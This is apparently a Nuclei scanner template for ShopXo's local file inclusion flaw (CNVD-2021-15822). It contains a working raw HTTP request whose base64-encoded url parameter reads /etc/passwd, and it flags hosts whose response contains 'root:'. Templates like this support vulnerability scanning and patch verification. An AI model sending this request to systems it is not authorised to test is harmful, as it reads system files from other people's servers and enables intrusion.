id: ShopXo-LFI-CNVD-2021-15822
info:
  name: ShopXo LFI (CNVD-2021-15822)
  author: hacktifycs
  severity: high
  description: An adversary can perform a LFI
  reference: unknown
  tags: lfi,shopxo

requests:
  - raw:
      - |+
        GET /public/index.php?s=/index/qrcode/download/url/L2V0Yy9wYXNzd2Q= HTTP/1.1
        Host: 
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
        Accept-Encoding: gzip, deflate
        Connection: close
        Upgrade-Insecure-Requests: 1
    
    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:"
        part: body

      - type: status
        status:
          - 200